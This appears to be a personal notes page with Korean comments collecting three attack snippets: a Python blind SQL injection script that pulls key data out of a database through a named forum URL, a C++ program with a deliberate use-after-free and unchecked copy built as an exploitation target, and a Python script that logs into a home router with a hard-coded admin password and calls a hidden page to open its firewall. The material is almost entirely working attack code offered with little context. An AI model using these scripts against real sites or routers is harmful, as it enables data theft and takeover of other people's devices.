2012~Lee sang sup`s Note

#!/usr/bin/python

import urllib2,urllib,time

# select database()

#query = "1 and (substr((lpad(bin(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))),7,0)),1,1)=1)"

#5F5F5F5F5F5F5F5F5F5F5F5F313339313533363335

target = "select group_concat(keystr) from KeyDB.kt1509 where signature like 0x3234306136346465633530615F5F5F5F5F5F5F5F"

x = 0

answer = ""

while 1:

x +=1

ch = 0

for i in range(1,8):

url = "http://poworks.com/index.php/forum/?cid=0&show="

#att = "1 and ascii(substr((%s),%d,1))=%d"%(target,x,i)

att = "1 and (substr((select lpad( bin( ascii(substr((%s),%d,1)) ),7,0)) ,%d,1)=1)#"%(target,x,i)

att = urllib.quote(att)

url += att

req = urllib2.Request(url)

result = urllib2.urlopen(req).read()

#print result

r = result.find("No replies posted yet.")

if r > -1:

ch += 2**(7-i)

else:

pass

if ch == 0:

break

else:

answer += chr(ch)

print ":) : "+ answer

print "END : ",answer

http://0day.today/exploit/24222

 쓸만한것들이 좀있음. 일단 저장용 

#include <iostream>

#include <stdlib.h>

#include <string.h>

#include <stdio.h>

using namespace std;

class B

{

public:

char *v1 = NULL;

virtual void foo(int a)

{

cout << "B Foo Call" << a << endl;

}

};

class D : public B

{

public:

char *buff;

void foo(int a)

{

cout << "D Foo Call " << a << endl;

}

};

class E

{

public:

char buff[24]="";

void test(int a){

cout << "E->TEST "<<endl;

}

void copy(char *v2){

memcpy(buff,v2,20);

}

};

int foo3(){

cout << "This is UNUSING FOO " <<endl;

return 0;

}

int (*funcAddr)() = foo3;

int main(int argc, char *argv[]){

char * test;

B *d,*b;

E *e;

printf("-------------------------------\n");

printf("[PRINT] UNUSING FOO function addr %x \n",&funcAddr);

printf("-------------------------------\n");

d = new D;

delete d;

e = new E;

e->copy(argv[1]);

printf("d->foo(9) call \n");

d->foo(9);

return 0;

}

import httplib

import urllib

import urllib2

import os 

import time

import getpass

import sys

import telnetlib

RouterIP = "192.168.123.1"

def HttpAdminLogin():

#print ":::     CONNECT ADMIN SESSION     "

loginURL2 = "http://"+RouterIP+"/ap_login.asp"

params2 = {"page":"ap_login.asp","http_passwd":"YWRtaW4=",'hidden_action':"Login"}

params2 = urllib.urlencode(params2)

try :

conn = urllib2.Request(loginURL2,params2)

conn.add_header("Content-Type","application/x-www-form-urlencoded")

response = urllib2.urlopen(conn)

cookie = response.headers.get('Set-Cookie')  ## 여기서 쿠키값을 가져옴

except :

print "CONNECTION ERROR "

return

time.sleep(1)

## iptables OPEN

print ":::     IPTABLES FIREWALL IS OPENED      "

loginURL = "http://"+RouterIP+"/test.asp"

params ={"page":"ap_login.asp","http_passwd":"YWRtaW4=",'hidden_action':"Login"}

params = urllib.urlencode(params)

try :

conn = urllib2.Request(loginURL,params)

conn.add_header("Content-Type","application/x-www-form-urlencoded")

conn.add_header("cookie",cookie)  ## 여기서 쿠기값을 저장 

response = urllib2.urlopen(conn)

except :

print "IPTABLES FIREWALL OPEN FAIL"

return 

def main():

try :

RouterIP = sys.argv[1]

except :

RouterIP = "192.168.123.1"

print ":::     Home Router IP -> " + str(RouterIP)

HttpAdminLogin()

if __name__ == "__main__":

main()